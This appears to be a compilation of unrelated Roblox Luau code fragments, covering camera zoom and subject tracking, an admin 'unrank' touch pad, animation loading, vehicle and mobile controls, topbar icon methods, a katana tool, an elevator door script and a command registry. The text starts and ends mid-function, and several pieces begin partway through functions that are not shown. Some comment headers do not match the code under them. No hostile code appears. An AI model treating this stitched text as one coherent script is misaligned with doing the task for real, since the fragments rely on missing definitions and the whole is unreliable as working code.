primaryPart.RotVelocity end end return ZERO_VECTOR3 end function BaseCamera:StepZoom() local zoom: number = self.currentSubjectDistance local zoomDelta: number = CameraInput.getZoomDelta() if math.abs(zoomDelta) > 0 then local newZoom if zoomDelta > 0 then newZoom = zoom + zoomDelta*(1 + zoom*ZOOM_SENSITIVITY_CURVATURE) newZoom = math.max(newZoom, self.FIRST_PERSON_DISTANCE_THRESHOLD) else newZoom = (zoom + zoomDelta)/(1 - zoomDelta*ZOOM_SENSITIVITY_CURVATURE) newZoom = math.max(newZoom, FIRST_PERSON_DISTANCE_MIN) end if newZoom < self.FIRST_PERSON_DISTANCE_THRESHOLD then newZoom = FIRST_PERSON_DISTANCE_MIN end self:SetCameraToSubjectDistance(newZoom) end return ZoomController.GetZoomRadius() end function BaseCamera:GetSubjectPosition(): Vector3? local result = self.lastSubjectPosition local camera = game.Workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if cameraSubject then if cameraSubject:IsA("Humanoid") then local humanoid = cameraSubject local humanoidIsDead = HUMANOID_STATES[humanoid:GetState()] local bodyPartToFollow = humanoid.RootPart -- If the humanoid is ragdolled, prefer lower torso as a follow target, if it exists if humanoidIsDead then if humanoid.Parent and humanoid.Parent:IsA("Model") then local torso = nil if humanoid.RigType == Enum.HumanoidRigType.R15 then torso = humanoid.Parent:FindFirstChild("LowerTorso") else torso = humanoid.Parent:FindFirstChild("Torso") end bodyPartToFollow = torso or bodyPartToFollow end end if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then local heightOffset if humanoid.RigType == Enum.HumanoidRigType.R15 then if humanoid.AutomaticScalingEnabled then heightOffset = R15_HEAD_OFFSET if bodyPartToFollow == humanoid.RootPart then local rootPartSizeOffset = (humanoid.RootPart.Size.Y/2) - (HUMANOID_ROOT_PART_SIZE.Y/2) heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0) end else heightOffset = R15_HEAD_OFFSET_NO_SCALING end else heightOffset = HEAD_OFFSET end if humanoidIsDead then heightOffset = DEAD_OFFSET result = (bodyPartToFollow.CFrame*CFrame.new(0,-bodyPartToFollow.Size.Y/2,0)).p + (heightOffset + humanoid.CameraOffset) else result = bodyPartToFollow.CFrame.p + bodyPartToFollow.CFrame:vectorToWorldSpace(heightOffset + humanoid.CameraOffset) end end elseif cameraSubject:IsA("VehicleSeat") then local offset = SEAT_OFFSET result = cameraSubject.CFrame.p + cameraSubject.CFrame:vectorToWorldSpace(offset) elseif cameraSubject:IsA("SkateboardPlatform") then result = cameraSubject.CFrame.p + SEAT_OFFSET elseif cameraSubject:IsA("BasePart") then result = cameraSubject.CFrame.p elseif cameraSubject:IsA("Model") then if cameraSubject.PrimaryPart then result = cameraSubject:GetPrimaryPartCFrame().p else result = cameraSubject:GetModelCFrame().p end end else -- cameraSubject is nil -- Note: Previous RootCamera did not have this else case and let self.lastSubject and self.lastSubjectPosition -- both get set to nil in the case of cameraSubject being nil. This function now exits here to preserve the -- last set valid values for these, as nil values are not handled cases return nil end self.lastSubject = cameraSubject self.lastSubjectPosition = result return result end function BaseCamera:UpdateDefaultSubjectDistance() if self.portraitMode then self.defaultSubjectDistance = math.clamp(PORTRAIT_DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) else self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) end end function BaseCamera:OnViewportSizeChanged() local camera = game.Workspace.CurrentCamera local size = camera.ViewportSize self.portraitMode = size.X < size.Y self.isSmallTouchScreen = UserInputService.TouchEnabled and (size.Y < 500 or size.X < 700) self:UpdateDefaultSubjectDistance() end
-- << MAIN >> --Touch Pad
for a,b in pairs(script.Parent:GetChildren()) do local touchPart = b:FindFirstChild("TouchPart") if touchPart then local touchDe = {} local originalColor = touchPart.Color local particles = touchPart.Particles touchPart.Touched:Connect(function(hit) local character = hit.Parent local player = players:GetPlayerFromCharacter(character) if player and not touchDe[player] then touchDe[player] = true --Check rank is lower or equal to giver rank local plrRankId, plrRankName, plrRankType = hd:GetRank(player) local newColor = errorColor if plrRankId <= rankId then --Remove rank hd:UnRank(player) newColor = successColor else local errorMessage = "Your rank is too high to be unranked!" hd:Error(player, errorMessage) end --Change pad color touchPart.Color = newColor --Success effect if newColor == successColor then local hrp = character:FindFirstChild("HumanoidRootPart") if hrp and particles then local particlesClone = particles:Clone() debris:AddItem(particlesClone, 3) particlesClone.Parent = hrp for _, effect in pairs(particlesClone:GetChildren()) do effect:Emit(2) end end end --Revert pad color local tween = tweenService:Create(touchPart, TweenInfo.new(2), {Color = originalColor}) tween:Play() tween.Completed:Wait() touchDe[player] = false end end) end end
------------------------------------------------------------------------------------------------------------
function configureAnimationSetOld(name, fileList) if (animTable[name] ~= nil) then for _, connection in pairs(animTable[name].connections) do connection:disconnect() end end animTable[name] = {} animTable[name].count = 0 animTable[name].totalWeight = 0 animTable[name].connections = {} local allowCustomAnimations = true local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end) if not success then allowCustomAnimations = true end -- check for config values local config = script:FindFirstChild(name) if (allowCustomAnimations and config ~= nil) then table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end)) table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end)) local idx = 1 for _, childPart in pairs(config:GetChildren()) do if (childPart:IsA("Animation")) then table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end)) animTable[name][idx] = {} animTable[name][idx].anim = childPart local weightObject = childPart:FindFirstChild("Weight") if (weightObject == nil) then animTable[name][idx].weight = 1 else animTable[name][idx].weight = weightObject.Value end animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight idx = idx + 1 end end end -- fallback to defaults if (animTable[name].count <= 0) then for idx, anim in pairs(fileList) do animTable[name][idx] = {} animTable[name][idx].anim = Instance.new("Animation") animTable[name][idx].anim.Name = name animTable[name][idx].anim.AnimationId = anim.id animTable[name][idx].weight = anim.weight animTable[name].count = animTable[name].count + 1 animTable[name].totalWeight = animTable[name].totalWeight + anim.weight -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")") end end -- preload anims for i, animType in pairs(animTable) do for idx = 1, animType.count, 1 do Humanoid:LoadAnimation(animType[idx].anim) end end end
--[[Mobile Support]]
local Buttons = script.Parent:WaitForChild("Buttons") local Left = Buttons:WaitForChild("Left") local Right = Buttons:WaitForChild("Right") local Brake = Buttons:WaitForChild("Brake") local Gas = Buttons:WaitForChild("Gas") local Handbrake = Buttons:WaitForChild("Handbrake") if UserInputService.TouchEnabled then Buttons.Visible = true end local function LeftTurn(Touch, GPE) if Touch.UserInputState == Enum.UserInputState.Begin then _GSteerT = -1 _SteerL = true else if _SteerR then _GSteerT = 1 else _GSteerT = 0 end _SteerL = false end end Left.InputBegan:Connect(LeftTurn) Left.InputEnded:Connect(LeftTurn)
--// F key, HornOff
mouse.KeyUp:connect(function(key) if key=="h" then veh.Lightbar.middle.Airhorn:Stop() veh.Lightbar.middle.Wail.Volume = 10 veh.Lightbar.middle.Yelp.Volume = 10 veh.Lightbar.middle.Priority.Volume = 10 end end)
--[[ << PERMISSION TYPES >> <PermissionNumber> <PermissionName> ]]
local Owner local HeadAdmin local Admin local Mod local VIP--[[ auto Owner -- Type ;cmds to view all Owner commands 4 HeadAdmin -- Type ;cmds to view all HeadAdmin commands 3 Admin -- Type ;cmds to view all Admin commands 2 Mod -- Type ;cmds to view all Mod commands 1 VIP -- Can only use commands on theirself. Type ;cmds to view all VIP commands 0 Everyone -- Setting a command to this permission type will allow anyone to use it ]]
-- Assign hotkeys for undoing (left or right shift + Z)
AssignHotkey({ 'LeftShift', 'Z' }, History.Undo); AssignHotkey({ 'RightShift', 'Z' }, History.Undo);
-- TOGGLEABLE METHODS
function Icon:setLabel(text, iconState) text = text or "" self:set("iconText", text, iconState) return self end function Icon:setCornerRadius(scale, offset, iconState) local oldCornerRadius = self.instances.iconCorner.CornerRadius local newCornerRadius = UDim.new(scale or oldCornerRadius.Scale, offset or oldCornerRadius.Offset) self:set("iconCornerRadius", newCornerRadius, iconState) return self end function Icon:setImage(imageId, iconState) local textureId = (tonumber(imageId) and "http://www.roblox.com/asset/?id="..imageId) or imageId or "" return self:set("iconImage", textureId, iconState) end function Icon:setOrder(order, iconState) local newOrder = tonumber(order) or 1 return self:set("order", newOrder, iconState) end function Icon:setLeft(iconState) return self:set("alignment", "left", iconState) end function Icon:setMid(iconState) return self:set("alignment", "mid", iconState) end function Icon:setRight(iconState) return self:set("alignment", "right", iconState) end function Icon:setImageYScale(YScale, iconState) local newYScale = tonumber(YScale) or 0.63 return self:set("iconImageYScale", newYScale, iconState) end function Icon:setImageRatio(ratio, iconState) local newRatio = tonumber(ratio) or 1 return self:set("iconImageRatio", newRatio, iconState) end function Icon:setLabelYScale(YScale, iconState) local newYScale = tonumber(YScale) or 0.45 return self:set("iconLabelYScale", newYScale, iconState) end function Icon:setBaseZIndex(ZIndex, iconState) local newBaseZIndex = tonumber(ZIndex) or 1 return self:set("baseZIndex", newBaseZIndex, iconState) end function Icon:_updateBaseZIndex(baseValue) local container = self.instances.iconContainer local newBaseValue = tonumber(baseValue) or container.ZIndex local difference = newBaseValue - container.ZIndex if difference == 0 then return "The baseValue is the same" end for _, object in pairs(self.instances) do object.ZIndex = object.ZIndex + difference end return true end function Icon:setSize(XOffset, YOffset, iconState) local newXOffset = tonumber(XOffset) or 32 local newYOffset = tonumber(YOffset) or newXOffset self:set("forcedIconSize", UDim2.new(0, newXOffset, 0, newYOffset), iconState) self:set("iconSize", UDim2.new(0, newXOffset, 0, newYOffset), iconState) return self end function Icon:_updateIconSize(_, iconState) if self._destroyed then return end -- This is responsible for handling the appearance and size of the icons label and image, in additon to its own size local X_MARGIN = 12 local X_GAP = 8 local values = { iconImage = self:get("iconImage", iconState) or "_NIL", iconText = self:get("iconText", iconState) or "_NIL", iconFont = self:get("iconFont", iconState) or "_NIL", iconSize = self:get("iconSize", iconState) or "_NIL", forcedIconSize = self:get("forcedIconSize", iconState) or "_NIL", iconImageYScale = self:get("iconImageYScale", iconState) or "_NIL", iconImageRatio = self:get("iconImageRatio", iconState) or "_NIL", iconLabelYScale = self:get("iconLabelYScale", iconState) or "_NIL", } for k,v in pairs(values) do if v == "_NIL" then return end end local iconContainer = self.instances.iconContainer if not iconContainer.Parent then return end -- We calculate the cells dimensions as apposed to reading because there's a possibility the cells dimensions were changed at the exact time and have not yet updated -- this essentially saves us from waiting a heartbeat which causes additonal complications local cellSizeXOffset = values.iconSize.X.Offset local cellSizeXScale = values.iconSize.X.Scale local cellWidth = cellSizeXOffset + (cellSizeXScale * iconContainer.Parent.AbsoluteSize.X) local minCellWidth = values.forcedIconSize.X.Offset--cellWidth local maxCellWidth = (cellSizeXScale > 0 and cellWidth) or 9999 local cellSizeYOffset = values.iconSize.Y.Offset local cellSizeYScale = values.iconSize.Y.Scale local cellHeight = cellSizeYOffset + (cellSizeYScale * iconContainer.Parent.AbsoluteSize.Y) local labelHeight = cellHeight * values.iconLabelYScale local labelWidth = textService:GetTextSize(values.iconText, labelHeight, values.iconFont, Vector2.new(10000, labelHeight)).X local imageWidth = cellHeight * values.iconImageYScale * values.iconImageRatio local usingImage = values.iconImage ~= "" local usingText = values.iconText ~= "" local notifPosYScale = 0.5 local desiredCellWidth local preventClippingOffset = labelHeight/2 if usingImage and not usingText then notifPosYScale = 0.45 self:set("iconImageVisible", true, iconState) self:set("iconImageAnchorPoint", Vector2.new(0.5, 0.5), iconState) self:set("iconImagePosition", UDim2.new(0.5, 0, 0.5, 0), iconState) self:set("iconImageSize", UDim2.new(values.iconImageYScale*values.iconImageRatio, 0, values.iconImageYScale, 0), iconState) self:set("iconLabelVisible", false, iconState) elseif not usingImage and usingText then desiredCellWidth = labelWidth+(X_MARGIN*2) self:set("iconLabelVisible", true, iconState) self:set("iconLabelAnchorPoint", Vector2.new(0, 0.5), iconState) self:set("iconLabelPosition", UDim2.new(0, X_MARGIN, 0.5, 0), iconState) self:set("iconLabelSize", UDim2.new(1, -X_MARGIN*2, values.iconLabelYScale, preventClippingOffset), iconState) self:set("iconLabelTextXAlignment", Enum.TextXAlignment.Center, iconState) self:set("iconImageVisible", false, iconState) elseif usingImage and usingText then local labelGap = X_MARGIN + imageWidth + X_GAP desiredCellWidth = labelGap + labelWidth + X_MARGIN self:set("iconImageVisible", true, iconState) self:set("iconImageAnchorPoint", Vector2.new(0, 0.5), iconState) self:set("iconImagePosition", UDim2.new(0, X_MARGIN, 0.5, 0), iconState) self:set("iconImageSize", UDim2.new(0, imageWidth, values.iconImageYScale, 0), iconState) ---- self:set("iconLabelVisible", true, iconState) self:set("iconLabelAnchorPoint", Vector2.new(0, 0.5), iconState) self:set("iconLabelPosition", UDim2.new(0, labelGap, 0.5, 0), iconState) self:set("iconLabelSize", UDim2.new(1, -labelGap-X_MARGIN, values.iconLabelYScale, preventClippingOffset), iconState) self:set("iconLabelTextXAlignment", Enum.TextXAlignment.Left, iconState) end if desiredCellWidth then if not self._updatingIconSize then self._updatingIconSize = true local widthScale = (cellSizeXScale > 0 and cellSizeXScale) or 0 local widthOffset = (cellSizeXScale > 0 and 0) or math.clamp(desiredCellWidth, minCellWidth, maxCellWidth) self:set("iconSize", UDim2.new(widthScale, widthOffset, values.iconSize.Y.Scale, values.iconSize.Y.Offset), iconState, "_ignorePrevious") self._updatingIconSize = false end end self:set("iconLabelTextSize", labelHeight, iconState) self:set("noticeFramePosition", UDim2.new(notifPosYScale, 0, 0, -2), iconState) self._updatingIconSize = false end
--Show Accessory
script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) script.Parent:SetNetworkOwner(player) for i,v in pairs(child.Part1.Parent:GetChildren())do if v:IsA("Accessory") then v.Handle.Transparency=0 end end end end end)
-- Thourough check to see if a character is sitting
local function amISitting(character) local t = character.Torso for _, part in pairs(t:GetConnectedParts(true)) do if part:IsA("Seat") or part:IsA("VehicleSeat") then return true end end end
-- @source https://devforum.roblox.com/t/psa-you-can-get-errors-and-stack-traces-from-coroutines/455510/2
local function Call(Function, ...) return Function(...) end local function Finish(Thread, Success, ...) if not Success then warn(debug.traceback(Thread, "Something went wrong! " .. tostring((...)))) end return Thread, Success, ... end
--[[** ensures value is a number where min <= value @param min The minimum to use @returns A function that will return true iff the condition is passed **--]]
function t.numberMin(min) return function(value) local success, errMsg = t.number(value) if not success then return false, errMsg or "" end if value >= min then return true else return false, string.format("number >= %s expected, got %s", min, value) end end end
---------END LEFT DOOR
game.Workspace.DoorClosed.Value = false end game.Workspace.DoorValues.Moving.Value = false end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--Update
game["Run Service"].Stepped:connect(function() --TurboSpool Spool() --Gauge Gauge() end)
--For Omega Rainbow Katana thumbnail to display a lot of particles.
for i, v in pairs(Handle:GetChildren()) do if v:IsA("ParticleEmitter") then v.Rate = 20 end end Tool.Grip = Grips.Up Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Blow(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped then return end local RightArm = Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand") if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid or humanoid.Health == 0 then return end local player = Players:GetPlayerFromCharacter(character) UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) humanoid:TakeDamage(Damage) end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Slash" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Slash") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() if Humanoid then if Humanoid.RigType == Enum.HumanoidRigType.R6 then local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool elseif Humanoid.RigType == Enum.HumanoidRigType.R15 then local Anim = Tool:FindFirstChild("R15Lunge") if Anim then local Track = Humanoid:LoadAnimation(Anim) Track:Play(0) end end end --[[ if CheckIfAlive() then local Force = Instance.new("BodyVelocity") Force.velocity = Vector3.new(0, 10, 0) Force.maxForce = Vector3.new(0, 4000, 0) Debris:AddItem(Force, 0.4) Force.Parent = Torso end ]] wait(0.2) Tool.Grip = Grips.Out wait(0.6) Tool.Grip = Grips.Up Damage = DamageValues.SlashDamage end Tool.Enabled = true LastAttack = 0 function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false local Tick = RunService.Stepped:wait() if (Tick - LastAttack < 0.2) then Lunge() else Attack() end LastAttack = Tick --wait(0.5) Damage = DamageValues.BaseDamage local SlashAnim = (Tool:FindFirstChild("R15Slash") or Create("Animation"){ Name = "R15Slash", AnimationId = BaseUrl .. Animations.R15Slash, Parent = Tool }) local LungeAnim = (Tool:FindFirstChild("R15Lunge") or Create("Animation"){ Name = "R15Lunge", AnimationId = BaseUrl .. Animations.R15Lunge, Parent = Tool }) Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent) and true) or false) end function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChildOfClass("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("HumanoidRootPart") if not CheckIfAlive() then return end ToolEquipped = true Sounds.Unsheath:Play() end function Unequipped() Tool.Grip = Grips.Up ToolEquipped = false end Tool.Activated:Connect(Activated) Tool.Equipped:Connect(Equipped) Tool.Unequipped:Connect(Unequipped) Connection = Handle.Touched:Connect(Blow)
-------------------------
function DoorClose() if Shaft00.MetalDoor.CanCollide == false then Shaft00.MetalDoor.CanCollide = true while Shaft00.MetalDoor.Transparency > 0.0 do Shaft00.MetalDoor.Transparency = Shaft00.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) --Change 10 to change the speed. end if Shaft01.MetalDoor.CanCollide == false then Shaft01.MetalDoor.CanCollide = true while Shaft01.MetalDoor.Transparency > 0.0 do Shaft01.MetalDoor.Transparency = Shaft01.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft02.MetalDoor.CanCollide == false then Shaft02.MetalDoor.CanCollide = true while Shaft02.MetalDoor.Transparency > 0.0 do Shaft02.MetalDoor.Transparency = Shaft02.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, 20, 0) end if Shaft03.MetalDoor.CanCollide == false then Shaft03.MetalDoor.CanCollide = true while Shaft03.MetalDoor.Transparency > 0.0 do Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency - .1 wait(0.000001) end end if Shaft04.MetalDoor.CanCollide == false then Shaft04.MetalDoor.CanCollide = true while Shaft04.MetalDoor.Transparency > 0.0 do Shaft04.MetalDoor.Transparency = Shaft04.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft05.MetalDoor.CanCollide == false then Shaft05.MetalDoor.CanCollide = true while Shaft05.MetalDoor.Transparency > 0.0 do Shaft05.MetalDoor.Transparency = Shaft05.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft06.MetalDoor.CanCollide == false then Shaft06.MetalDoor.CanCollide = true while Shaft06.MetalDoor.Transparency > 0.0 do Shaft06.MetalDoor.Transparency = Shaft06.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft07.MetalDoor.CanCollide == false then Shaft07.MetalDoor.CanCollide = true while Shaft07.MetalDoor.Transparency > 0.0 do Shaft07.MetalDoor.Transparency = Shaft07.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft08.MetalDoor.CanCollide == false then Shaft08.MetalDoor.CanCollide = true while Shaft08.MetalDoor.Transparency > 0.0 do Shaft08.MetalDoor.Transparency = Shaft08.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft09.MetalDoor.CanCollide == false then Shaft09.MetalDoor.CanCollide = true while Shaft09.MetalDoor.Transparency > 0.0 do Shaft09.MetalDoor.Transparency = Shaft09.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft10.MetalDoor.CanCollide == false then Shaft10.MetalDoor.CanCollide = true while Shaft10.MetalDoor.Transparency > 0.0 do Shaft10.MetalDoor.Transparency = Shaft10.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft11.MetalDoor.CanCollide == false then Shaft11.MetalDoor.CanCollide = true while Shaft11.MetalDoor.Transparency > 0.0 do Shaft11.MetalDoor.Transparency = Shaft11.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft12.MetalDoor.CanCollide == false then Shaft12.MetalDoor.CanCollide = true while Shaft12.MetalDoor.Transparency > 0.0 do Shaft12.MetalDoor.Transparency = Shaft12.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end if Shaft13.MetalDoor.CanCollide == false then Shaft13.MetalDoor.CanCollide = true while Shaft13.MetalDoor.Transparency > 0.0 do Shaft13.MetalDoor.Transparency = Shaft13.MetalDoor.Transparency - .1 wait(0.000001) end Car.BodyVelocity.velocity = Vector3.new(0, -20, 0) end end function onClicked() DoorClose() end script.Parent.MouseButton1Click:connect(onClicked) script.Parent.MouseButton1Click:connect(function() if clicker == true then clicker = false else return end end) script.Parent.MouseButton1Click:connect(function() Car.Touched:connect(function(otherPart) if otherPart == Elevator.Floors:FindFirstChild(script.Parent.Name) then StopE() DoorOpen() end end)end) function StopE() Car.BodyVelocity.velocity = Vector3.new(0, 0, 0) Car.BodyPosition.position = Elevator.Floors:FindFirstChild(script.Parent.Name).Position clicker = true end function DoorOpen() while Shaft03.MetalDoor.Transparency < 1.0 do Shaft03.MetalDoor.Transparency = Shaft03.MetalDoor.Transparency + .1 wait(0.000001) end Shaft03.MetalDoor.CanCollide = false end
--- The registry keeps track of all the commands and types that Cmdr knows about.
local Registry = { TypeMethods = Util.MakeDictionary({"Transform", "Validate", "Autocomplete", "Parse", "DisplayName", "Listable", "ValidateOnce", "Prefixes", "Default"}); CommandMethods = Util.MakeDictionary({"Name", "Aliases", "AutoExec", "Description", "Args", "Run", "ClientRun", "Data", "Group"}); CommandArgProps = Util.MakeDictionary({"Name", "Type", "Description", "Optional", "Default"}); Types = {}; TypeAliases = {}; Commands = {}; CommandsArray = {}; Cmdr = nil; Hooks = { BeforeRun = {}; AfterRun = {} }; Stores = setmetatable({}, { __index = function (self, k) self[k] = {} return self[k] end }); AutoExecBuffer = {}; }
--print("Keyframe : ".. frameName)
playToolAnimation(toolAnimName, 0.0, Humanoid) end end function playToolAnimation(animName, transitionTime, humanoid) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end
--[[Output Scaling Factor]]
local hpScaling = _Tune.WeightScaling*10 local FBrakeForce = _Tune.FBrakeForce local RBrakeForce = _Tune.RBrakeForce local PBrakeForce = _Tune.PBrakeForce if not workspace:PGSIsEnabled() then hpScaling = _Tune.LegacyScaling*10 FBrakeForce = _Tune.FLgcyBForce RBrakeForce = _Tune.RLgcyBForce PBrakeForce = _Tune.LgcyPBForce end
--[[ MouseLockController - Replacement for ShiftLockController, manages use of mouse-locked mode 2018 Camera Update - AllYourBlox --]]
--Get serverhandler.
local svh = script.Parent.HandlerPointer.Value
---------------------------------------------------------------
function onChildAdded(child) if child.Name == "SeatWeld" then local human = child.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then print("Human IN") seat.Car.CarName.Value = human.Parent.Name.."'s Car" seat.Parent.Name = human.Parent.Name.."'s Car" s.Parent.Car:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui end end end function onChildRemoved(child) if (child.Name == "SeatWeld") then local human = child.part1.Parent:findFirstChild("Humanoid") if (human ~= nil) then print("Human OUT") seat.Parent.Name = "Empty Car" seat.Car.CarName.Value = "Empty Car" game.Players:findFirstChild(human.Parent.Name).PlayerGui.Car:remove() end end end script.Parent.ChildAdded:connect(onChildAdded) script.Parent.ChildRemoved:connect(onChildRemoved)
--[[ The Module ]]
-- local BaseCamera = {} BaseCamera.__index = BaseCamera function BaseCamera.new() local self = setmetatable({}, BaseCamera) -- So that derived classes have access to this self.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD self.cameraType = nil self.cameraMovementMode = nil self.lastCameraTransform = nil self.rotateInput = ZERO_VECTOR2 self.userPanningCamera = false self.lastUserPanCamera = tick() self.humanoidRootPart = nil self.humanoidCache = {} -- Subject and position on last update call self.lastSubject = nil self.lastSubjectPosition = Vector3.new(0,5,0) -- These subject distance members refer to the nominal camera-to-subject follow distance that the camera -- is trying to maintain, not the actual measured value. -- The default is updated when screen orientation or the min/max distances change, -- to be sure the default is always in range and appropriate for the orientation. self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) self.currentSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) self.inFirstPerson = false self.inMouseLockedMode = false self.portraitMode = false self.isSmallTouchScreen = false -- Used by modules which want to reset the camera angle on respawn. self.resetCameraAngle = true self.enabled = false -- Input Event Connections self.inputBeganConn = nil self.inputChangedConn = nil self.inputEndedConn = nil self.startPos = nil self.lastPos = nil self.panBeginLook = nil self.panEnabled = true self.keyPanEnabled = true self.distanceChangeEnabled = true self.PlayerGui = nil self.cameraChangedConn = nil self.viewportSizeChangedConn = nil self.boundContextActions = {} -- VR Support self.shouldUseVRRotation = false self.VRRotationIntensityAvailable = false self.lastVRRotationIntensityCheckTime = 0 self.lastVRRotationTime = 0 self.vrRotateKeyCooldown = {} self.cameraTranslationConstraints = Vector3.new(1, 1, 1) self.humanoidJumpOrigin = nil self.trackingHumanoid = nil self.cameraFrozen = false self.subjectStateChangedConn = nil -- Gamepad support self.activeGamepad = nil self.gamepadPanningCamera = false self.lastThumbstickRotate = nil self.numOfSeconds = 0.7 self.currentSpeed = 0 self.maxSpeed = 6 self.vrMaxSpeed = 4 self.lastThumbstickPos = Vector2.new(0,0) self.ySensitivity = 0.65 self.lastVelocity = nil self.gamepadConnectedConn = nil self.gamepadDisconnectedConn = nil self.currentZoomSpeed = 1.0 self.L3ButtonDown = false self.dpadLeftDown = false self.dpadRightDown = false -- Touch input support self.isDynamicThumbstickEnabled = false self.fingerTouches = {} self.dynamicTouchInput = nil self.numUnsunkTouches = 0 self.inputStartPositions = {} self.inputStartTimes = {} self.startingDiff = nil self.pinchBeginZoom = nil self.userPanningTheCamera = false self.touchActivateConn = nil -- Mouse locked formerly known as shift lock mode self.mouseLockOffset = ZERO_VECTOR3 -- [[ NOTICE ]] -- -- Initialization things used to always execute at game load time, but now these camera modules are instantiated -- when needed, so the code here may run well after the start of the game if player.Character then self:OnCharacterAdded(player.Character) end player.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end) if self.cameraChangedConn then self.cameraChangedConn:Disconnect() end self.cameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:OnCurrentCameraChanged() end) self:OnCurrentCameraChanged() if self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end self.playerCameraModeChangeConn = player:GetPropertyChangedSignal("CameraMode"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end self.minDistanceChangeConn = player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end self.maxDistanceChangeConn = player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end self.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function() self:OnDevTouchMovementModeChanged() end) 